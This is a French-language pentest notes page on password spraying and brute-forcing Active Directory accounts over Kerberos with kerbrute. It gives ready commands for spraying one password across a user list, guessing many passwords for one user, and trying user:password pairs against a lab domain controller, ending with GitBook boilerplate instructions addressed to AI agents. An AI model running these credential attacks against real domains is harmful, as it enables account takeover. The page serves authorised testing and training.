> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/kerberos/password-spraying-with-kerberos.md).

# Spraying de mots de passe avec Kerberos

### Principe

**Pulvérisation de mots de passe** consiste à tester le même mot de passe sur plusieurs utilisateurs.

Contrairement à un brute force classique, nous évitons de tester de nombreux mots de passe sur un seul compte, ce qui réduit le risque de verrouillage du compte.

### Attaque par pulvérisation de mots de passe avec Kerbrute

Exemple avec un mot de passe spécifique :

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

Cette commande teste le mot de passe `Password123` sur tous les utilisateurs listés dans `usernames.txt`.

<figure><img src="/files/00e682dcdc90e816169a7ad6c4524c7d1617b49e" alt=""><figcaption></figcaption></figure>

### Brute force sur un utilisateur spécifique

Si nous voulons tester plusieurs mots de passe sur un utilisateur spécifique :

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```

{% endcode %}

Ici, `passwords.txt` contient une liste de mots de passe.

<figure><img src="/files/3db93fdee4583d0232c27f73141459d400aadafb" alt=""><figcaption></figcaption></figure>

### Brute force avec des paires utilisateur/mot de passe

Nous pouvons également utiliser un fichier contenant des couples au format :

```
username:password
```

Exemple :

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

Ordre :

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

<figure><img src="/files/b6fbd61583b523c0427dd82b0904a20b58c05385" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/kerberos/password-spraying-with-kerberos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
